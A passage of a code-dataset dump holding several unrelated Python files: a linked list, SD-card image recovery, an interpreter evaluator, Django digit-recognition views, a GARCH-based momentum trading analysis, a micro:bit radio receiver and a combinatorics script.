__init__(self, data_val=None):\n self.data_val = data_val\n self.next_val = None\n self.prev_val = None\n\n\nclass LinkedList:\n def __init__(self):\n self.head_val = None\n\n def return_head(self):\n return self.head_val\n\n def list_print(self):\n print_val = self.head_val.next_val\n while print_val is not None:\n print(print_val.data_val, end=', ')\n print_val = print_val.next_val\n print()\n\n def add_to_end(self, new_data):\n new_node = Node(new_data)\n if self.head_val is None:\n self.head_val = new_node\n return\n end_val = self.head_val\n while end_val.next_val:\n end_val = end_val.next_val\n end_val.next_val = new_node\n new_node.prev_val = end_val\n\n def return_date(self, node):\n return node.data_val\n\n def return_end_val(self):\n end_val = self.head_val\n while end_val.next_val:\n end_val = end_val.next_val\n return end_val\n\n def num_element(self, x):\n num_elem = 0\n if x < 0:\n help_node = self.head_val\n while help_node is not None:\n if self.return_date(help_node) < 0:\n num_elem += 1\n help_node = help_node.next_val\n else:\n help_node = self.head_val\n while help_node is not None:\n if self.return_date(help_node) > 0:\n num_elem += 1\n help_node = help_node.next_val\n return num_elem\n\n def return_len(self):\n len = 0\n x = self.head_val\n if x is None:\n return 0\n else:\n end_val = self.head_val\n while end_val.next_val:\n end_val = end_val.next_val\n len += 1\n return len\n\n\n def return_next_val(self, now):\n now = now.next_val\n return now\n","repo_name":"YuriiDmytruk/University","sub_path":"python/Internship/IHW4/List.py","file_name":"List.py","file_ext":"py","file_size_in_byte":1947,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"2073724804","text":"import os\nimport cv2\nfrom PIL import Image\nimport numpy as np\nimport subprocess\n\ndef is_image_corrupted(image_path):\n try:\n with Image.open(image_path) as img:\n img.verify()\n return False\n except Exception as e:\n print(f\"Erreur : {e}\")\n return True\n\ndef read_image_from_sd_card(image_path):\n image = cv2.imread(image_path)\n return image\n\ndef display_image(image, window_name='Image'):\n cv2.imshow(window_name, image)\n cv2.waitKey(0)\n cv2.destroyAllWindows()\n\ndef is_image_file(file_name):\n lower_file_name = file_name.lower()\n return lower_file_name.endswith(('.png', '.jpg', '.jpeg', '.bmp', '.gif', '.tiff'))\n\ndef restore_image(image):\n mask = np.all(image == (0, 0, 0), axis=-1)\n gray_image = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\n restored_image = cv2.inpaint(image, mask.astype(np.uint8), 3, cv2.INPAINT_NS)\n return restored_image\n\ndef recover_deleted_images(sd_card_path, output_folder):\n if not os.path.exists(output_folder):\n os.makedirs(output_folder)\n\n photorec_executable = \"./testdisk-7.2-WIP/photorec\" # Remplacez par le chemin réel de l'exécutable photorec\n command = [photorec_executable, \"/d\", output_folder, \"/cmd\", sd_card_path, \"search\"]\n subprocess.run(command)\n\ndef main():\n sd_card_path = \"/Volumes/NO NAME\"\n output_folder = \"./RecoveredPictures\"\n\n for file_name in os.listdir(sd_card_path):\n print(f\"Traitement du fichier : {file_name}\")\n if is_image_file(file_name):\n image_path = os.path.join(sd_card_path, file_name)\n\n if not is_image_corrupted(image_path):\n image = read_image_from_sd_card(image_path)\n display_image(image, window_name=f\"Image: {file_name}\")\n else:\n print(f\"L'image {file_name} est corrompue.\")\n image = read_image_from_sd_card(image_path)\n restored_image = restore_image(image)\n display_image(restored_image, window_name=f\"Restored Image: {file_name}\")\n\n recover_deleted_images(sd_card_path, output_folder)\n print(f\"Les images supprimées ont été récupérées dans le dossier : {output_folder}\")\n\nif __name__ == '__main__':\n main()\n","repo_name":"Noa1527/recovryPictures","sub_path":"read_image_from_sd_card.py","file_name":"read_image_from_sd_card.py","file_ext":"py","file_size_in_byte":2237,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"26840762031","text":"''' \n@author: Joshua Fairfield \n'''\n\nclass Evaluator:\n def __init__(self, root, symbolTable):\n self.head = root.down \n self.symbolTable = symbolTable\n\n \n def evaluate(self): \n branches = self.head.branches\n for branch in branches:\n ''' Arithmetic '''\n if (branch.value == '<VarAssign>' or branch.value == '<IdentifierAssign>'):\n if (branch.right):\n value = branch.returnData(self.symbolTable)\n if (branch.value == '<IfStmt>'):\n self.evaluateIfStmt(branch)\n self.symbolTable.outputFile()\n \n def evaluateIfStmt(self, branch):\n elifNodes = branch.elifBranches\n bool = branch.expression.returnExpression(self.symbolTable)\n boolBranch = None\n if (bool == True):\n boolBranch = branch\n \n if (bool == False):\n x = 0 \n while (bool == False and x < len(elifNodes)):\n if (elifNodes[x].value == '<else>'):\n bool = True \n boolBranch = elifNodes[x]\n else:\n bool = elifNodes[x].expression.returnExpression(self.symbolTable)\n boolBranch = elifNodes[x]\n x += 1\n\n if (bool == True):\n for b in boolBranch.stmts.branches:\n if (b.value == '<VarAssign>' or b.value == '<IdentifierAssign>'):\n if (b.right):\n value = b.returnData(self.symbolTable)\n elif (b.value == '<IfStmt>'):\n self.evaluateIfStmt(b)\n self.symbolTable.outputFile()","repo_name":"jfairfie/InterpreterProject","sub_path":"Interpreter/Evaluator.py","file_name":"Evaluator.py","file_ext":"py","file_size_in_byte":1657,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"34684374231","text":"import cv2\nimport numpy as np\n\ndef get_curve(rng, x_d, y_d):\n point_list = []\n j = 1/100\n for i in range(100):\n t = float(j*i)*(np.pi/2)\n #print(t)\n x = np.cos(t)*(rng*100)\n \n y = np.sin(t)*150\n X = x+x_d\n if rng < 0:\n X+=abs(rng*100)\n else:\n X-=abs(rng*100)\n Y = y_d-y\n point_list.append((X, Y))\n print(point_list)\n pts = np.array(point_list).astype(np.int32)\n return pts\n\norigin = 0\nend = 1\n\npts_left = get_curve(0.1, 250,500)\npts_right = get_curve(-0.6, 250,500)\n\nframe = np.zeros((500,500,3))\ncv2.polylines(frame,[pts_left],False,(0,255,0),10)\ncv2.polylines(frame,[pts_right],False,(0,255,0),10)\ncv2.imshow('curve', frame)\ncv2.waitKey(0)\n","repo_name":"greerviau/Autonomous-Truck","sub_path":"draw_curves.py","file_name":"draw_curves.py","file_ext":"py","file_size_in_byte":752,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"5"} +{"seq_id":"17558091104","text":"from django.shortcuts import render\nfrom django.http import HttpResponse\nimport base64\nimport numpy as np\nimport pickle\nfrom PIL import Image\nfrom io import BytesIO\nfrom django.views.decorators.csrf import csrf_exempt\nfrom mlutils.mycnn import model as cnn_model, optimizer\nfrom mlutils.myann import ArtificialNeuralNetwork\nimport torch\n\n\n\npicklefile = open('media/recog_digit/ANN_params.pkl', 'rb')\nann_params = pickle.load(picklefile)\npicklefile.close()\n\nann_model = ArtificialNeuralNetwork(ann_params['inodes'], ann_params['hnodes'], ann_params['onodes'], ann_params['lr'])\nann_model.assign_weights(ann_params['wih'], ann_params['who'])\n\ncheckpoint = torch.load(\"media/recog_digit/CNN_params.pth.tar\")\ncnn_model.load_state_dict(checkpoint['state_dict'])\noptimizer.load_state_dict(checkpoint['optimizer'])\n\n\ndef parseImage(imgData):\n dimensions = (28, 28)\n imgstr = imgData.split(\",\")[1]\n encoded_image = imgstr\n decoded_image = base64.b64decode(encoded_image)\n img = Image.open(BytesIO(decoded_image)).convert('LA') # image is (280, 280)\n img = img.resize(dimensions, Image.ANTIALIAS) # image is (28, 28)\n pixels = np.asarray(img, dtype='uint8') # pixels.shape == (28, 28, 2)\n pixels = pixels[:, :, 0]\n # img = Image.fromarray(pixels) # to display the img\n # img.show()\n return pixels\n\n\n@csrf_exempt\ndef ann(request):\n if request.method == \"POST\":\n img_array = parseImage(request.body.decode(\"utf-8\"))\n label = ann_model.identify_num(img_array) \n return HttpResponse(label)\n return render(request, 'digit/index.html')\n\n\n@csrf_exempt\ndef cnn(request):\n if request.method == \"POST\":\n img_array = parseImage(request.body.decode(\"utf-8\"))\n label = cnn_model.identify_num(img_array)\n return HttpResponse(label)\n return render(request, 'digit/index.html')\n\n\n@csrf_exempt\ndef image(request):\n return render(request, 'digit/image_upload.html')","repo_name":"av1shek/Hand-Written-Digit-Identifier","sub_path":"recog_digit/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1971,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"12870292763","text":"def count_one(num):\r\n x1=bin(num)\r\n count = 0\r\n for i in range(1,len(x1)-1):\r\n count =x1.count('1')\r\n\r\n return count\r\n\r\ndef main():\r\n x = int(input(\"Enter any number :\"))\r\n y=count_one(x)\r\n if(y%2==0):\r\n print(\"Evil Number\")\r\n else:\r\n print(\"not Evil Number\")\r\n \r\n\r\nif __name__=='__main__':\r\n main()\r\n","repo_name":"ksheetal/Python-code","sub_path":"srA_Q1.py","file_name":"srA_Q1.py","file_ext":"py","file_size_in_byte":352,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"24138226723","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Feb 20 08:13:59 2019\n\n@author: freakylemon\n\nPlease be note that I installed the 'arch' package additionally\n\"\"\"\n\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom arch import arch_model\n\n#import data\nforex = pd.read_csv('fx.csv')\nbdfutures = pd.read_csv('bdfutures.csv')\ncomdty = pd.read_csv('comdty.csv')\nindexfutures = pd.read_csv('indexfutures.csv')\nrf = pd.read_csv('rf.csv')\n\n#keep one 'Dates', drop others\nbdfutures = bdfutures.drop(['Dates'], axis=1)\ncomdty = comdty.drop(['Dates'], axis=1)\nindexfutures = indexfutures.drop(['Dates'], axis=1)\nrf = rf.drop(['Dates'], axis=1)\n\n#concatenate\nwhole_dset = [forex, bdfutures, comdty, indexfutures, rf]\ndset = pd.concat(whole_dset, axis=1)\n\ndset.drop(['HO1 COMDTY.1'], axis=1, inplace=True)\ndset.drop(['TP1 INDEX.1'], axis=1, inplace=True)\n\n\n# dset.to_csv('whole_data_set_200219.csv')\n\ndset['Dates'] = pd.to_datetime(dset.Dates)\n\ndset = dset.set_index('Dates')\n\n# insert week of the day at first column\ndset.insert(loc=0, column='week_of_day', value=dset.index.weekday)\n\nc = ['AUDNZD CURNCY', 'AUDUSD CURNCY', 'EURJPY CURNCY', 'EURNOK CURNCY',\n 'EURSEK CURNCY', 'EURGBP CURNCY', 'AUDJPY CURNCY', 'GBPUSD CURNCY',\n 'EURUSD CURNCY', 'USDCAD CURNCY', 'USDJPY CURNCY', 'YM1 COMDTY',\n 'XM1 COMDTY', 'DU1 COMDTY', 'OE1 COMDTY', 'RX1 COMDTY', 'JB1 COMDTY',\n 'G 1 COMDTY', 'TU1 COMDTY', 'FV1 COMDTY', 'TY1 COMDTY', 'US1 COMDTY',\n 'CO1 COMDTY', 'LC1 COMDTY', 'CC1 COMDTY', 'KC1 COMDTY', 'HG1 COMDTY',\n 'C 1 COMDTY', 'CT1 COMDTY', 'CL1 COMDTY', 'QS1 COMDTY', 'GC1 COMDTY',\n 'HO1 COMDTY', 'LH1 COMDTY', 'NG1 COMDTY', 'LN1 COMDTY', 'PL1 COMDTY',\n 'SI1 COMDTY', 'S 1 COMDTY', 'SM1 COMDTY', 'BO1 COMDTY', 'SB1 COMDTY',\n 'W 1 COMDTY', 'LX1 COMDTY', 'GX1 INDEX', 'IB1 INDEX', 'CF1 INDEX',\n 'TP1 INDEX', 'Z 1 INDEX', 'SP1 INDEX', 'HI1 INDEX', 'KM1 INDEX']\n\n\n'''below to scale data for returns'''\n\n#drop rows to get full weekly data\ndf_periodic_return = dset.iloc[1:5506]\n\n#df_periodic_return.to_csv('whole_data_set_200319.csv')\n\n#df = dset.pct_change()\ndf_periodic_return['week_of_day'] = df_periodic_return.index.weekday\n\n#df = df.iloc[1:]\n\n#return of 4 week, 12 week, and 50 week.\n\n##drop last several rows to have full-weekly-data\n#df = df.iloc[:5500]\ndf = df_periodic_return\n\n#new dataframe with only price info in friday and thursday of every week.\ndf_fri = df[(df['week_of_day'] == 4)]\ndf_thu = df[(df['week_of_day'] == 3)]\n\ndf_fri = df_fri.drop(['week_of_day'], axis=1)\ndf_thu = df_thu.drop(['week_of_day'], axis=1)\n\ndf_fri = df_fri.reset_index(drop=True)\ndf_thu = df_thu.reset_index(drop=True)\n\ndf_fri.index.astype('int64', copy=True)\ndf_thu.index.astype('int64', copy=True)\n\n###############################\n####### monthly sign ##########\n###############################\n\n#rescale index\n'''\nto rebalance weekly based on monthly data,\ndrop the last 3 monday data,\ndrop the first 3 thursday data and done.\n'''\n#change index type\ndf_mth_fri = df_fri[:1098]\ndf_mth_thu = df_thu.iloc[3:] \n\n#reset index:\ndf_mth_fri = df_mth_fri.reset_index(drop=True)\ndf_mth_thu = df_mth_thu.reset_index(drop=True)\n\n# monthly return.\n# so sure is the (month end (4th thursday) - month beginning(1st monday)) / xxx\ndf_mthly = (df_mth_thu-df_mth_fri)/df_mth_fri\n\n# monthly excess return.\ndf_mthly_ex = df_mthly.copy()\n\nfor i in c:\n df_mthly_ex[i] = df_mthly_ex[i] - df_mthly_ex['USGG10YR INDEX']\ndf_mthly_ex = df_mthly_ex.drop(['FEDL01 INDEX', 'USGG10YR INDEX'], axis=1)\n\n##################################\n#### transfer numbers to sign ####\n##################################\n\ndf_mthly_sign = df_mthly_ex.copy()\nprint(len(df_mthly_sign['AUDNZD CURNCY']))\n\nprint(df_mthly_sign['AUDNZD CURNCY'][244])\n\nfor i in c:\n for t in range(1098):\n if df_mthly_ex[i][t] < 0.0:\n df_mthly_sign[i][t] = -1\n else:\n df_mthly_sign[i][t] = 1\n\n\n# visualize it with chart,\n\n\n###############################################\n########## the monthly-window return ##########\n###############################################\n \ndf_mthly_r = df_fri.pct_change(periods=1)\n\n# we have sign from first month, based on this, we started to trade,\n# which means return starts from the 2nd month\n\ndf_mthly_r = df_mthly_r[5:]\ndf_mthly_r = df_mthly_r.reset_index(drop=True)\n\ndf_mth_rf = df_mthly_r['USGG10YR INDEX']\n\ndf_mthly_r = df_mthly_r.drop(['FEDL01 INDEX', 'USGG10YR INDEX'], axis=1)\ndf_mthly_sign = df_mthly_sign[:1096]\ndf_mthly_r = df_mthly_r * df_mthly_sign\n\n# for sharpe ratio, I calculated the excess return.\ndf_mthly_ex = df_mthly_r.copy()\nfor i in c:\n df_mthly_ex[i] = df_mthly_r[i] - df_mth_rf\n\n\n# last sign does not allow us to make the position anymore(run out of date)\n# we may have to drop the last some.\n\ndf_av_mthly = df_mthly_r.mean(axis=0)\nplt.figure(figsize=(18, 11))\ndf_av_mthly.plot(kind='bar')\nplt.legend()\n\n''' the sharpe ratio ''' \ndf_sr_mthly = df_mthly_ex.mean(axis=0)/df_mthly_r.std(axis=0)\nplt.figure(figsize=(18, 11))\ndf_sr_mthly.plot(kind='bar')\nplt.legend()\n\n##############################################\n##### GARCH - log return of monthly data #####\n##### obtain ex-ante volatility\n##############################################\n\ndf_log_rt = df_fri.copy()\n\nfor i in c:\n df_log_rt[i] = np.log(df_fri[i]) - np.log(df_fri[i].shift(1))\n\ndf_log_rt = df_log_rt[4:]\n#df_log_rt = df_log_rt * 100\ndf_log_rt = df_log_rt.reset_index(drop=True)\n\ndf_log_rt= df_log_rt.drop(['FEDL01 INDEX', 'USGG10YR INDEX'],axis=1)\n\n###########################################\n########## monthly GARCH package ##########\n###########################################\n\npara_mth_garch = {}\nfor i in c:\n para = arch_model(df_log_rt[i]).fit()\n para_mth_garch[i] = para.params.values\npara_mth_garch = pd.DataFrame(para_mth_garch, index=['mu', 'omega', 'alpha', 'beta'])\n\ndf_vol_mth = df_log_rt.copy()\nfor i in c:\n omega = para_mth_garch[i]['omega']\n alpha = para_mth_garch[i]['alpha']\n beta = para_mth_garch[i]['beta']\n df_vol_mth[i][0] = np.sqrt(omega/(1-alpha-beta))\n for t in range(1,len(df_vol_mth[i])):\n df_vol_mth[i][t] = np.sqrt(omega + alpha *df_log_rt[i][t-1]**2 +beta*df_vol_mth[i][t-1]**2)\n\n# 2.2, for volatility scaled return\n\n# I have already adjusted sign and rt ensuring that return_{t+1} = sign_t * return{t + 1}\n# here similar reason, I have to drop the last line of the volatility dataset.\n\ndf_vol_mth = df_vol_mth[:1096]\n\n# realized return\ndf_mthly_r_rescaled = df_mthly_r *0.4/(df_vol_mth*np.sqrt(50))\n\n# check the annualized return.\nprint(df_mthly_r_rescaled.std(axis=0)*np.sqrt(50))\n\n# it's exactly arount 40%, the annualized volatility!!!\n\n# here we may proceed to the mean and sr calculation on scaled investment!!!\n\nplt.figure(figsize=(18, 11))\ndf_mthly_r_rescaled.mean(axis=0).plot(kind='bar')\nplt.legend()\n\n# for sharpe ratio, I calculated the excess return.\ndf_mthly_ex_rescaled = df_mthly_r_rescaled.copy()\nfor i in c:\n df_mthly_ex_rescaled[i] = df_mthly_r_rescaled[i] - df_mth_rf\n \ndf_sr_mthly_rescaled = df_mthly_ex_rescaled.mean(axis=0)/df_mthly_r_rescaled.std(axis=0)\nplt.figure(figsize=(18, 11))\ndf_sr_mthly_rescaled.plot(kind='bar')\nplt.legend()\n\n\n\n#######################\n#### 12 weeks sign ####\n#######################\n\ndf_qua_fri = df_fri.iloc[:1090]\ndf_qua_thu = df_thu.iloc[11:] \n\n#reset index:\ndf_qua_fri = df_qua_fri.reset_index(drop=True)\ndf_qua_thu = df_qua_thu.reset_index(drop=True)\n\n# quaterly momemtum sign.\n# so sure is the (month end (12th thursday) - month beginning(1st friday)) / xxx\ndf_quatly = (df_qua_thu -df_qua_fri)/df_qua_fri\n\ndf_quatly_ex = df_quatly.copy()\n\nfor i in c:\n df_quatly_ex[i] = df_quatly_ex[i] - df_quatly_ex['USGG10YR INDEX']\ndf_quatly_ex = df_quatly_ex.drop(['FEDL01 INDEX', 'USGG10YR INDEX'], axis=1)\n\ndf_qua_sign = df_quatly_ex.copy()\nfor i in c:\n for t in range(1090):\n if df_quatly_ex[i][t] < 0:\n df_qua_sign[i][t] = -1\n else:\n df_qua_sign[i][t] = 1\n\n#########################\n#### 12 weeks return ####\n#########################\ndf_qua_r = df_fri.pct_change(periods=1)\n\ndf_qua_rf = df_qua_r['USGG10YR INDEX']\ndf_qua_r = df_qua_r.drop(['FEDL01 INDEX', 'USGG10YR INDEX'], axis=1)\n\n# same as monthly data, \n# we have to drop the first return since there's no previous sign\n\ndf_qua_r = df_qua_r[13:]\ndf_qua_r = df_qua_r.reset_index(drop=True)\n\n# to have same amount of signs as returns\ndf_qua_sign = df_qua_sign[:1088]\ndf_qua_r = df_qua_r * df_qua_sign\n\n#df_quatly.to_csv('quaterly excess return_whole_set.csv')\ndf_qua_rf = df_qua_rf[13:]\ndf_qua_rf = df_qua_rf.reset_index(drop=True)\n\ndf_qua_ex = df_qua_r.copy()\nfor i in c:\n df_qua_ex[i] = df_qua_ex[i] - df_qua_rf\n\n'''return'''\ndf_av_qua = df_qua_r.mean(axis=0)\nplt.figure(figsize=(18, 11))\n#df_av_qua.plot(kind='bar')\ndf_av_qua.plot(kind='bar')\nplt.legend()\n\n\n''' the sharpe ratio ''' \ndf_sr_qua = df_qua_ex.mean(axis=0)/df_qua_ex.std(axis=0)\nplt.figure(figsize=(18, 11))\n#df_av_qua.plot(kind='bar')\ndf_sr_qua.plot(kind='bar')\nplt.legend()\n\n##############################################\n##### GARCH - log return of quaterly data #####\n##############################################\n\ndf_qua_log_rt = df_fri.copy()\n\nfor i in c:\n df_qua_log_rt[i] = np.log(df_fri[i]) - np.log(df_fri[i].shift(1))\n\ndf_qua_log_rt = df_qua_log_rt[12:]\n\ndf_qua_log_rt = df_qua_log_rt.reset_index(drop=True)\n\ndf_qua_log_rt= df_qua_log_rt.drop(['FEDL01 INDEX', 'USGG10YR INDEX'],axis=1)\n\n###########################################\n########## quaterly GARCH package ##########\n###########################################\n\npara_qua_garch = {}\nfor i in c:\n para = arch_model(df_qua_log_rt[i]).fit()\n para_qua_garch[i] = para.params.values\npara_qua_garch = pd.DataFrame(para_qua_garch, index=['mu', 'omega', 'alpha', 'beta'])\n\ndf_vol_qua = df_qua_log_rt.copy()\nfor i in c:\n omega = para_qua_garch[i]['omega']\n alpha = para_qua_garch[i]['alpha']\n beta = para_qua_garch[i]['beta']\n df_vol_qua[i][0] = np.sqrt(omega/(1-alpha-beta))\n for t in range(1,len(df_vol_qua[i])):\n df_vol_qua[i][t] = np.sqrt(omega + alpha *df_qua_log_rt[i][t-1]**2 +beta*df_vol_qua[i][t-1]**2)\n\n# 2.2\n\ndf_vol_qua = df_vol_qua[:1088]\n\n# realized return\ndf_qua_r_rescaled = df_qua_r *0.4/(df_vol_qua*np.sqrt(50))\n\n# check the annualized return.\nprint(df_qua_r_rescaled.std(axis=0)*np.sqrt(50))\n\n# it's exactly arount 40%, the annualized volatility!!!\n\n# here we may proceed to the mean and sr calculation on scaled investment!!!\n\nplt.figure(figsize=(18, 11))\ndf_qua_r_rescaled.mean(axis=0).plot(kind='bar')\nplt.legend()\n\n# for sharpe ratio, I calculated the excess return.\ndf_qua_ex_rescaled = df_qua_r_rescaled.copy()\nfor i in c:\n df_qua_ex_rescaled[i] = df_qua_r_rescaled[i] - df_qua_rf\n \ndf_sr_qua_rescaled = df_qua_ex_rescaled.mean(axis=0)/df_qua_ex_rescaled.std(axis=0)\nplt.figure(figsize=(18, 11))\ndf_sr_qua_rescaled.plot(kind='bar')\nplt.legend()\n\n\n\n#####################\n### 50 weeks sign ###\n#####################\n\ndf_ann_fri = df_fri[:1052]\ndf_ann_thu = df_thu[49:] \n\n#reset index:\ndf_ann_fri = df_ann_fri.reset_index(drop=True)\ndf_ann_thu = df_ann_thu.reset_index(drop=True)\n\n# monthly return.\n# so sure is the (month end (4th thursday) - month beginning(1st monday)) / xxx\ndf_annually = (df_ann_thu - df_ann_fri)/ df_ann_fri\n\n# monthly excess return.\ndf_ann_ex = df_annually.copy()\n\nfor i in c:\n df_ann_ex[i] = df_ann_ex[i] - df_ann_ex['USGG10YR INDEX']\ndf_ann_ex = df_ann_ex.drop(['FEDL01 INDEX', 'USGG10YR INDEX'], axis=1)\n\n\ndf_ann_sign = df_ann_ex.copy()\nfor i in c:\n for t in range(1052):\n if df_ann_ex[i][t] < 0:\n df_ann_sign[i][t] = -1\n else:\n df_ann_sign[i][t] = 1\n\n#######################\n### 50 weeks return ###\n#######################\n\ndf_ann_r = df_fri.pct_change(periods=1)\n\ndf_ann_rf = df_ann_r['USGG10YR INDEX']\n\ndf_ann_rf = df_ann_rf[51:]\ndf_ann_rf = df_ann_rf.reset_index(drop=True)\n\ndf_ann_r = df_ann_r[51:]\ndf_ann_r = df_ann_r.reset_index(drop=True)\n\ndf_ann_r = df_ann_r.drop(['FEDL01 INDEX', 'USGG10YR INDEX'], axis=1)\n\ndf_ann_sign = df_ann_sign[:1050]\n\n\ndf_ann_r = df_ann_r * df_ann_sign\ndf_ann_ex = df_ann_r.copy()\n\nfor i in c:\n df_ann_ex[i] = df_ann_ex[i] - df_ann_rf\n\n'''return'''\ndf_av_ann = df_ann_r.mean(axis=0)\nplt.figure(figsize=(18, 11))\ndf_av_ann.plot(kind='bar')\n#df_sd_qua.plot(kind='bar')\nplt.legend()\n\n''' the sharpe ratio ''' \ndf_sr_ann = df_ann_ex.mean(axis=0)/df_ann_ex.std(axis=0)\nplt.figure(figsize=(18, 11))\ndf_sr_ann.plot(kind='bar')\n#df_sd_qua.plot(kind='bar')\nplt.legend()\n\n\n##############################################\n##### GARCH - log return of annually data #####\n##############################################\n\ndf_ann_log_rt = df_fri.copy()\n\nfor i in c:\n df_ann_log_rt[i] = np.log(df_fri[i]) - np.log(df_fri[i].shift(1))\n\ndf_ann_log_rt = df_ann_log_rt[50:]\n#df_ann_log_rt = df_ann_log_rt * 100\ndf_ann_log_rt = df_ann_log_rt.reset_index(drop=True)\n\ndf_ann_log_rt= df_ann_log_rt.drop(['FEDL01 INDEX', 'USGG10YR INDEX'],axis=1)\n\n\n############################################\n########## annually GARCH package ##########\n############################################\n\n\npara_ann_garch = {}\nfor i in c:\n para = arch_model(df_ann_log_rt[i]).fit()\n para_ann_garch[i] = para.params.values\npara_ann_garch = pd.DataFrame(para_ann_garch, index=['mu', 'omega', 'alpha', 'beta'])\n\ndf_ann_vol = df_ann_log_rt.copy()\n#df_ann_log_rt = df_ann_log_rt/100\nfor i in c:\n omega = para_ann_garch[i]['omega']\n alpha = para_ann_garch[i]['alpha']\n beta = para_ann_garch[i]['beta']\n df_ann_vol[i][0] = np.sqrt(omega/(1-alpha-beta))\n for t in range(1,len(df_ann_vol[i])):\n df_ann_vol[i][t] = np.sqrt(omega + alpha *df_ann_log_rt[i][t-1]**2 +beta*df_ann_vol[i][t-1]**2)\n\n\ndf_ann_vol = df_ann_vol[:1050]\n\n# realized return\ndf_ann_r_rescaled = df_ann_r *0.4/(df_ann_vol*np.sqrt(50))\n\n# check the annualized return.\nprint(df_ann_r_rescaled.std(axis=0)*np.sqrt(50))\n\nplt.figure(figsize=(18, 11))\ndf_ann_r_rescaled.mean(axis=0).plot(kind='bar')\nplt.legend()\n\n# for sharpe ratio, I calculated the excess return.\ndf_ann_ex_rescaled = df_ann_r_rescaled.copy()\nfor i in c:\n df_ann_ex_rescaled[i] = df_ann_r_rescaled[i] - df_ann_rf\n \ndf_sr_ann_rescaled = df_ann_ex_rescaled.mean(axis=0)/df_ann_ex_rescaled.std(axis=0)\nplt.figure(figsize=(18, 11))\ndf_sr_ann_rescaled.plot(kind='bar')\nplt.legend()\n\n\n###############################################################################\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"freakylemon/ex_code","sub_path":"tsmom_v9_modif_mth_sr.py","file_name":"tsmom_v9_modif_mth_sr.py","file_ext":"py","file_size_in_byte":14463,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"11829800663","text":"# Add your Python code here. E.g.\n# radio 2\nfrom microbit import *\nimport radio\nradio.on()\n\n# any channel from 0 to 100 can be used for privacy.\nradio.config(channel=5)\n\nwhile True:\n msg = radio.receive()\n if msg != None:\n if msg == 'HAPPY':\n display.show(Image.HAPPY)\n sleep(200)\n display.clear()\n elif msg == 'SAD':\n display.show(Image.SAD)\n sleep(200)\n display.clear()","repo_name":"arm-university/MicroPython-for-microbit","sub_path":"Micro PET (13 to 24)/Micropython for microbit_L18/receiver.py","file_name":"receiver.py","file_ext":"py","file_size_in_byte":457,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"5"} +{"seq_id":"37855857328","text":"import sys\nimport scipy as scipy\nimport math\n\n# Counts number of bars for any number of copies of the bond 1-3-2-1.\n# Input: n -- Number of bonds of type 1-3-2-1\n# Output: Prints out the class, length of bars born, number of bars born,\n# and the time of birth\n\ndef pc1321(n):\n# Iterates through all classes of critical points that satisfy the following conditions:\n# k<=n, i1+i2<=k, j1+j2<=n-k\n for k in range(0,n+1):\n for i1 in range(0,k+1):\n for i2 in range(0,k+1):\n for j1 in range(0,n-k+1):\n for j2 in range(0,n-k+1):\n if i1+i2<=k and j1+j2<=n-k:\n avals=[]\n bvals=[]\n# Using other restrictions, the classes get sorted into four groups by bar length:\n# gamma-alpha, delta-beta, semi infinite, and no bars born.\n if j2 != 0: # gamma-alpha\n for l in range(0,k-i1-i2+1):\n a=((-1)**(l)*math.factorial(n)\n /(math.factorial(n-k-j1-j2)*math.factorial(k-i1-i2-l)\n *math.factorial(i1)*math.factorial(i2)\n *math.factorial(j1)*math.factorial(j2+l)))\n avals.append(a)\n print('Class',(n,k,i1,i2,j1,j2), u'\\u03B3-\\u03B1 bars born: ',\n (sum(avals)), ' at ', j1, '\\u03B1 +'\n , j2, '\\u03B1 hat +', n-k-j1-j2, '\\u03B2 +'\n , k-i1-i2, '\\u03B3 +', i1, '\\u03B4 +', i2, '\\u03B4 hat.')\n elif i1+i2==k and j2==0 and j1<n-k: # delta-beta\n for l in range(0,i1+1):\n b=((-1)**(l)*math.factorial(n)\n /(math.factorial(n-k-j1-j2+l)*math.factorial(k-i1-i2)\n *math.factorial(i1-l)*math.factorial(i2)\n *math.factorial(j2)*math.factorial(j1)))\n bvals.append(b)\n print('Class',(n,k,i1,i2,j1,j2), u'\\u03B4-\\u03B2 bars born: '\n , (sum(bvals)), ' at ', j1, '\\u03B1 +'\n , j2, '\\u03B1 hat +', n-k-j1-j2, '\\u03B2 +'\n , k-i1-i2, '\\u03B3 +', i1, '\\u03B4 +', i2, '\\u03B4 hat.')\n elif i1==0 and i2==k and j2==0 and j1==n-k: # semi-infinite\n c=(math.factorial(n)\n /(math.factorial(n-k-j1-j2)*math.factorial(k-i1-i2)\n *math.factorial(i1)*math.factorial(i2)\n *math.factorial(j2)*math.factorial(j1)))\n print('Class',(n,k,i1,i2,j1,j2), 'semi-\\u221E bars born: '\n , c, ' at ', j1, '\\u03B1 +', j2, '\\u03B1 hat +'\n , n-k-j1-j2, '\\u03B2 +', k-i1-i2, '\\u03B3 +'\n , i1, '\\u03B4 +', i2, '\\u03B4 hat.')\n else: # no bars born\n print('Class',(n,k,i1,i2,j1,j2), '0 bars born at ', j1, '\\u03B1 +'\n , j2, '\\u03B1 hat +', n-k-j1-j2, '\\u03B2 +', k-i1-i2, '\\u03B3 +'\n , i1, '\\u03B4 +', i2, '\\u03B4 hat.') # no bars born\n else:\n continue\n\nif __name__ == \"__main__\":\n if len(sys.argv) > 1:\n pc1321(int(sys.argv[1]))\n else:\n raise SystemExit(\"usage: python pc1321.py 